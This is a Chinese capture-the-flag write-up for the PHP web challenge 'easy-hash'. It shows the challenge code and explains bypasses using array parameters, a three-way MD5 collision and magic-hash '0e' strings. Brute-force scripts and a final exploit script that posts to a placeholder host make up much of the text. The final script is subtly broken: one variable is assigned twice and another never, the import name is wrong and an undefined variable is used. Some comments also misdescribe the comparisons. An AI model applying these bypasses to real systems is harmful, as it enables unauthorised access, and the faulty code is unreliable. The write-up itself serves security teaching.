PHP相关问题练习

题目:

 <?php
highlight_file(__FILE__);
error_reporting(0);
$val1 = @$_GET['val1'];
$val2 = @$_GET['val2'];
$val3 = @$_GET['val3'];
$val4 = @$_GET['val4'];
$val5 = (string)@$_POST['val5'];
$val6 = (string)@$_POST['val6'];
$val7 = (string)@$_POST['val7'];
if( $val1 == $val2 ){
    die('val1 OR val2 no no no');
}
if( md5($val1) != md5($val2) ){
    die('step 1 fail');
}
if( $val3 == $val4 ){
    die('val3 OR val4 no no no');
}
if ( md5($val3) !== md5($val4)){
    die('step 2 fail');
}
if( $val5 == $val6 || $val5 == $val7 || $val6 == $val7 ){
    die('val5 OR val6 OR val7 no no no');
}
if (md5($val5) !== md5($val6) || md5($val6) !== md5($val7) || md5($val5) !== md5($val7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_alnum($a)) || (strlen($a) > 5)  || !(ctype_alnum($b)) || (strlen($b) > 6))
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 1) || (strlen($n) > 1))
{
    echo "m OR n fail";
    die();
}

$val8 = md5($a);
$val9 = strtr(md5($b), $m, $n);

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5))
{
    echo "nice,good job,give you flag:";
    echo file_get_contents('/var/www/html/flag.php');
} step 3 fail

题目类型:WEB

题目名称:easy-hash

目的和要求:

1.了解hash碰撞

2.了解three way md5 collision

3.了解绕过md5校验

解题步骤:

1.打开浏览器,访问目标主机,查看源码

2.审计代码,判断需要的绕过

3.前四个md5效验直接使用赋值数组就可以绕过

4.后面是一个三向md5判断,使用https://natmchugh.blogspot.com/2014/11/three-way-md5-collision.html里面的方法,三张图片的md5相等

代码解释:

 <?php
highlight_file(__FILE__);
error_reporting(0);
$val1 = @$_GET['val1'];   //通过GET接收参数
$val2 = @$_GET['val2'];
$val3 = @$_GET['val3'];
$val4 = @$_GET['val4'];
$val5 = (string)@$_POST['val5'];  //通过POST接收参数
$val6 = (string)@$_POST['val6'];
$val7 = (string)@$_POST['val7'];
if( $val1 == $val2 ){  //弱比较判断
    die('val1 OR val2 no no no');
}
if( md5($val1) != md5($val2) ){  //判断是否相等,若判断
    die('step 1 fail');
}
if( $val3 == $val4 ){  //若比较判断
    die('val3 OR val4 no no no');
}
if ( md5($val3) !== md5($val4)){  //弱比较判断
    die('step 2 fail');
}
if( $val5 == $val6 || $val5 == $val7 || $val6 == $val7 ){  //三项md5判断,
    die('val5 OR val6 OR val7 no no no');
}
if (md5($val5) !== md5($val6) || md5($val6) !== md5($val7) || md5($val5) !== md5($val7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))  //判断a和b的值是否为空
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_alnum($a)) || (strlen($a) > 5)  || !(ctype_alnum($b)) || (strlen($b) > 6))  //ctype_alnum判断变量是否都是数字和字符,这里判断是否都不是数字和字符。大于5也会进入if条件
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 1) || (strlen($n) > 1))  //m和n的长度需要大于1就会进入if,所以可以等于1或者更小
{
    echo "m OR n fail";
    die();
}

$val8 = md5($a);  //对$a进行md5加密
$val9 = strtr(md5($b), $m, $n);  //对变量b进行md5加密,然后strtr对加密后$m的值对应的加密后$b中的内容,会被替换为$n

echo PHP_EOL;
echo "<p>val8 : $val8</p>";
echo PHP_EOL;
echo "<p>val9 : $val9</p>";
echo PHP_EOL;
if (($val8 == $val9) && !($a === $b) && (strlen($b) === 5))  //这条件是若比较val8和val9前两位都是0e,且a===b是true,a不等与b,所以有一个!,然后b的长度限制为了5 
{
    echo "nice,good job,give you flag:";
    echo file_get_contents('/var/www/html/flag.php');
} step 3 fail

1.绕过第一个http://xxx/?val1\[\]=1\&val2\[\]=2\&val3\[\]=3\&val4\[\]=5\&m=b\&n=0 //使$b加密后的b替换为0

2.绕过第二个要用三个图片中的二进制字节

3.使用md5碰撞出加密后两个值相等的md5加密前的5个字符,其中b在md5加密后使用strtr函数进行了替换,b被替换为了0,所以b在碰撞的时候只需要第二个字符为e就可以了,脚本如下

$a的碰撞脚本
import hashlib
import re
import string
list=string.digits+string.ascii_letters
for a in list:
    for b in list:
        for c in list:
            for d in list:
                for e in list:
                    str1=a+b+c+d+e
                    value=hashlib.md5(str(str1).encode()).hexdigest()
                    result=re.search(r"^[0][e][0-9]+$",value)
                    if result:
                        print(str1+'-----',result)
结果如下:
byGcY------ <re.Match object; span=(0, 32), match='0e591948146966052067035298880982'>


$b的碰撞脚本
import hashlib
import re
import string
list=string.digits+string.ascii_letters
for a in list:
    for b in list:
        for c in list:
            for d in list:
                for e in list:
                    str1=a+b+c+d+e
                    value=hashlib.md5(str(str1).encode()).hexdigest()
                    result=re.search(r"^\w[e][0-9]+$",value)
                    if result:
                        print(str1+'------',result)
结果如下:
1RKnJ------ <re.Match object; span=(0, 32), match='be629474301316105422602603643091'>

最终的payload为:

import request
import re
url='http://xxxx/?val1[]=1&val2[]=2&val3[]=3&val4[]=4&m=b&n=0'
#因为是val5-7是POST传参,所以要顶一个data存放要传入的数据,然后用post方法传入
with open('./upload/three_md5_1.jpg','rb') as f:
    val5=f.read()  //val5就是读取所有的图片中二进制的内容
with open('./upload/three_md5_2.jpg','rb') as f:
    val6=f.read()
with open('.upload/three_md5_3.jpg','rb') as f:
    val6=f.read()
data={
    'val5':val5,  #这里的val5是对应了with中的val5
    'val6':val6,
    'val7':val7,
    'a':'byGcY',
    'b':'1RKnJ'
}
result=request.post(url=url,data=data)
flag=re.search(r'(flag{.*})',r.text)  #点是除了空字符以外所有,*是多次匹配,多个,这里用了一个捕获组
if flag:
    print(flag.group(1)) //括号里面是一个捕获组,这里可以不用

不用捕获组会获取完整的字符串
相关推荐
ShyTan6 分钟前
java项目启动时,执行某方法
java·开发语言
甄同学17 分钟前
【WPS】【WORD&WORD】【JavaScript】实现微软WORD自动更正的效果
开发语言·前端·javascript
Quantum&Coder21 分钟前
Swift语言的数据库编程
开发语言·后端·golang
YYHYJX41 分钟前
C#学习笔记 --- 简单应用
开发语言·学习·c#
Clockwiseee1 小时前
JAVA多线程学习
java·开发语言·学习
Nobita Chen1 小时前
Python实现windows自动关机
开发语言·windows·python
码路刺客1 小时前
一学就废|Python基础碎片,OS模块
开发语言·python
z千鑫1 小时前
【Python】Python之Selenium基础教程+实战demo:提升你的测试+测试数据构造的效率!
开发语言·python·selenium
aiee1 小时前
GO通过SMTP协议发送邮件
开发语言·后端·golang
云浩舟1 小时前
Golang并发读取json文件数据并写入oracle数据库的项目实践
开发语言·数据库·golang